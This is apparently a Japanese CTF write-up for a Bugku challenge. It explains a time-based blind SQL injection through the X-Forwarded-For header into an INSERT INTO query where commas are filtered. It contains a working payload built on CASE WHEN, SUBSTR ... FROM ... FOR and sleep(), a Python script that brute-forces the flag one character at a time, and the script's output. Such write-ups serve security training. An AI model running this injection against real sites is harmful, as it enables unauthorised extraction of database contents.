Bugku-InNSERT INTO注入
2423 ワード
INSERT INTO注入
ソースリンク
http://120.24.86.145:8002/web15/
分析
ソースコードのタイトルを与える
これはX-Fiorwarded-Forの注入で、コンマを濾過したものと見られます.コンマをフィルタリングした場合、if文は使えなくなります.mysqlでifと同じ効果があります.
flags{cdbf 14 c 9551 d 5 be 5612 f 7 bb 5 d 286785 3}
知識のポイント
時間ブラインド注、XXXX、insert into注入
参照リンク
https://delcoding.github.io/2018/03/bugku-writeup3/
ソースリンク
http://120.24.86.145:8002/web15/
分析
ソースコードのタイトルを与える
要求中のX−Fiorwarded−Forフィールドは注入可能であるが、ここで,
はフィルタリングされている.これはX-Fiorwarded-Forの注入で、コンマを濾過したものと見られます.コンマをフィルタリングした場合、if文は使えなくなります.mysqlでifと同じ効果があります.
select case when ( ) then 1 else 2 end;
それにコンマのためにフィルタリングされて、私達はsubstr、substringを使うことができなくなりました.でも私達は使えます.from 1 for 1です.だから最終的に私達のパスロードは以下の通りです.127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
pythonスクリプト:# -*- coding:utf-8 -*-
import requests
import sys
# , ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print(' :', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
実行結果: : 1
C
: 2
CD
: 3
CDB
: 4
CDBF
: 5
CDBF1
: 6
CDBF14
...
...
: 28
CDBF14C9551D5BE5612F7BB5D286
: 29
CDBF14C9551D5BE5612F7BB5D2867
: 30
CDBF14C9551D5BE5612F7BB5D28678
: 31
CDBF14C9551D5BE5612F7BB5D286785
: 32
CDBF14C9551D5BE5612F7BB5D2867853
flagsflags{cdbf 14 c 9551 d 5 be 5612 f 7 bb 5 d 286785 3}
知識のポイント
時間ブラインド注、XXXX、insert into注入
参照リンク
https://delcoding.github.io/2018/03/bugku-writeup3/